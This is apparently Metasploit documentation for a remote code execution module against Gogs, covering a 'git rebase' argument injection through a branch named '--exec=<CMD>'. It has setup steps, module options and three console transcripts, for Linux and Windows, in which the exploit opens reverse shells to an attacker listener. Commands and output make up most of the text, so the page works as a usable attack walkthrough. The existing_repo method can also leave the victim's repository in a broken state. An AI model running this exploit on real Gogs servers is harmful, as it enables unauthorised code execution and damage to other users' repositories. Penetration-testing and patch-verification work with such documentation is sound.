## Vulnerable Application

This module exploits an argument injection vulnerability in the pull request merge flow
of [Gogs](https://github.com/gogs/gogs) (<= 0.14.2 and <= 0.15.0+dev).

The `Merge()` function in `internal/database/pull.go` passes the PR base branch name to
`git rebase` without a `--` separator. A branch named `--exec=<CMD>` is parsed by Git as
the `--exec` flag rather than a positional argument, causing `sh -c <CMD>` to run after
each replayed commit during the rebase.

Two exploitation methods are supported:

- **own_repo** (default): The attacker creates a temporary repository, enables rebase
  merge, and operates entirely within their own account. Any authenticated user who can
  create repositories (the default) can exploit this with no interaction from other users.
  The repository is deleted during cleanup.

- **existing_repo**: The attacker exploits a repository they already have write and merge
  access to (e.g., as a collaborator), where "Rebase before merging" is enabled or the
  attacker has repo admin permissions to enable it. This path is useful on instances where
  repository creation is restricted.
  Cleanup deletes the pushed branches and closes the pull request.

**Important**: A successful rebase merge may leave the server-side repository in a
corrupted git state (mid-rebase). For `own_repo` this is inconsequential because the
repository is deleted during cleanup. For `existing_repo`, this can break the target
repository for legitimate users and prevents re-exploitation against the same repo.
To restore exploitability, delete the Gogs local copy cache on the server
(e.g., `data/tmp/local-repo/<repo_id>`) — this requires post-exploitation access.

The Gogs API does not support token deletion, so the API access token created during
exploitation will persist under the attacker's account and must be removed manually.

A local `git` installation is required on the attacker machine.

### Setup

A dockerized Gogs 0.14.2 instance can be started with:

```bash
docker run -d --name gogs -p 3000:3000 gogs/gogs:0.14
```

1. Navigate to `http://localhost:3000/install` and complete the initial setup (SQLite3 is fine).
2. Register a user account (e.g., `attacker` / `Password123`).
3. For **existing_repo** testing: create a second user who owns a repository, add the
   attacker as a collaborator with write access, and enable "Rebase before merging" in
   the repository settings.

## Verification Steps

1. Start msfconsole
1. Do: `use exploit/multi/http/gogs_rebase_rce`
1. Do: `set RHOSTS <target>`
1. Do: `set RPORT 3000`
1. Do: `set USERNAME <gogs_user>`
1. Do: `set PASSWORD <gogs_password>`
1. Do: `set LHOST <your_ip>`
1. Do: `check`
1. You should see the Gogs version detected.
1. Do: `run`
1. You should get a shell as the Gogs process user (typically `git` in Docker).

For the **existing_repo** path, additionally set:

1. Do: `set EXPLOIT_METHOD existing_repo`
1. Do: `set REPO_OWNER <owner_username>`
1. Do: `set REPO_NAME <repo_name>`
1. Do: `set ENABLE_REBASE false` (if rebase is already enabled on the repo)

## Options

### USERNAME

The username of a valid Gogs account. For `own_repo`, any authenticated user who can
create repositories is sufficient. For `existing_repo`, the user must have write and
merge access to the target repository.

### PASSWORD

The password for the specified Gogs account.

### EXPLOIT_METHOD

The exploitation method to use. `own_repo` (default) creates a temporary repository.
`existing_repo` targets a repository the attacker already has write access to.

### REPO_OWNER

Owner of the target repository. Required when `EXPLOIT_METHOD` is `existing_repo`.

### REPO_NAME

Name of the target repository. Required when `EXPLOIT_METHOD` is `existing_repo`.

### ENABLE_REBASE

When set to `true` (default), the module attempts to enable "Rebase before merging" in
the repository settings. For `existing_repo`, this requires repo admin access; if the
attacker only has write access, the module warns and continues (assuming rebase is
already enabled). Set to `false` if rebase merge is already enabled on the target repo.

## Scenarios

### Gogs 0.14.2 on Docker (Linux) — Unix Command target

```
msf6 > use exploit/multi/http/gogs_rebase_rce
msf6 exploit(multi/http/gogs_rebase_rce) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 exploit(multi/http/gogs_rebase_rce) > set RPORT 3000
RPORT => 3000
msf6 exploit(multi/http/gogs_rebase_rce) > set USERNAME attacker
USERNAME => attacker
msf6 exploit(multi/http/gogs_rebase_rce) > set PASSWORD Password123
PASSWORD => Password123
msf6 exploit(multi/http/gogs_rebase_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/gogs_rebase_rce) > check

[+] 192.168.1.100:3000 - The target appears to be vulnerable. Gogs 0.14.2 detected.

msf6 exploit(multi/http/gogs_rebase_rce) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Gogs 0.14.2 detected.
[*] Executing Unix Command for cmd/unix/reverse_bash
[*] Authenticating as "attacker"
[+] Authenticated
[*] Creating repository "abcd-efgh"
[+] Repository created
[*] Enabling rebase merge in repository settings
[+] Rebase merge enabled
[*] Pushing branches via git
[+] Branches pushed
[*] Creating pull request
[+] PR #1 created
[*] Triggering rebase merge
[+] Rebase merge triggered, waiting for shell...
[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.17.0.2:43240)
[*] Cleaning up - deleting repository abcd-efgh
[+] Repository abcd-efgh deleted
[!] API token "msf_*" persists on the target (Gogs API does not support token deletion)

whoami
git
```

### Gogs 0.14.2 on Docker (Linux) — Existing Repository (collaborator with write access)

```
msf6 > use exploit/multi/http/gogs_rebase_rce
msf6 exploit(multi/http/gogs_rebase_rce) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 exploit(multi/http/gogs_rebase_rce) > set RPORT 3000
RPORT => 3000
msf6 exploit(multi/http/gogs_rebase_rce) > set USERNAME attacker
USERNAME => attacker
msf6 exploit(multi/http/gogs_rebase_rce) > set PASSWORD Password123
PASSWORD => Password123
msf6 exploit(multi/http/gogs_rebase_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/gogs_rebase_rce) > set EXPLOIT_METHOD existing_repo
EXPLOIT_METHOD => existing_repo
msf6 exploit(multi/http/gogs_rebase_rce) > set REPO_OWNER repoowner
REPO_OWNER => repoowner
msf6 exploit(multi/http/gogs_rebase_rce) > set REPO_NAME target-repo
REPO_NAME => target-repo
msf6 exploit(multi/http/gogs_rebase_rce) > set ENABLE_REBASE false
ENABLE_REBASE => false
msf6 exploit(multi/http/gogs_rebase_rce) > check

[+] 192.168.1.100:3000 - The target appears to be vulnerable. Gogs 0.14.2 detected.

msf6 exploit(multi/http/gogs_rebase_rce) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Gogs 0.14.2 detected.
[*] Executing Unix Command for cmd/unix/reverse_bash
[*] Authenticating as "attacker"
[+] Authenticated
[*] Using existing repository "repoowner/target-repo"
[+] Repository repoowner/target-repo confirmed accessible
[*] Assuming rebase merge is already enabled (set ENABLE_REBASE to change settings)
[*] Pushing branches via git
[+] Branches pushed
[*] Creating pull request
[+] PR #1 created
[*] Triggering rebase merge
[+] Rebase merge triggered, waiting for shell...
[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.17.0.2:34468)
[*] Cleaning up artifacts from repoowner/target-repo
[+] Malicious branch deleted
[+] Feature branch deleted
[+] PR #1 closed
[!] API token "msf_*" persists on the target (Gogs API does not support token deletion)

whoami
git
```

### Gogs 0.14.2 on Windows — Windows Command target (existing_repo)

```
msf6 > use exploit/multi/http/gogs_rebase_rce
msf6 exploit(multi/http/gogs_rebase_rce) > set RHOSTS 192.168.1.200
RHOSTS => 192.168.1.200
msf6 exploit(multi/http/gogs_rebase_rce) > set RPORT 3000
RPORT => 3000
msf6 exploit(multi/http/gogs_rebase_rce) > set USERNAME attacker
USERNAME => attacker
msf6 exploit(multi/http/gogs_rebase_rce) > set PASSWORD Password123
PASSWORD => Password123
msf6 exploit(multi/http/gogs_rebase_rce) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf6 exploit(multi/http/gogs_rebase_rce) > set EXPLOIT_METHOD existing_repo
EXPLOIT_METHOD => existing_repo
msf6 exploit(multi/http/gogs_rebase_rce) > set REPO_OWNER attacker
REPO_OWNER => attacker
msf6 exploit(multi/http/gogs_rebase_rce) > set REPO_NAME target-repo
REPO_NAME => target-repo
msf6 exploit(multi/http/gogs_rebase_rce) > set TARGET 1
TARGET => 1
msf6 exploit(multi/http/gogs_rebase_rce) > check

[+] 192.168.1.200:3000 - The target appears to be vulnerable. Gogs 0.14.2 detected.

msf6 exploit(multi/http/gogs_rebase_rce) > run

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Gogs 0.14.2 detected.
[*] Executing Windows Command for cmd/windows/reverse_powershell
[*] Authenticating as "attacker"
[+] Authenticated
[*] Using existing repository "attacker/target-repo"
[+] Repository attacker/target-repo confirmed accessible
[*] Attempting to enable rebase merge in repository settings
[+] Rebase merge enabled
[*] Pushing branches via git
[+] Branches pushed
[*] Creating pull request
[+] PR #1 created
[*] Triggering rebase merge
[+] Rebase merge triggered, waiting for shell...
[*] Command shell session 1 opened (192.168.1.100:4444 -> 192.168.1.200:49812)
[*] Cleaning up artifacts from attacker/target-repo
[+] Malicious branch deleted
[+] Feature branch deleted
[+] PR #1 closed
[!] API token "msf_*" persists on the target (Gogs API does not support token deletion)

Microsoft Windows [Version 10.0.26200.7840]

C:\gogs\data\tmp\repos> whoami
desktop-gogs\gogs
```
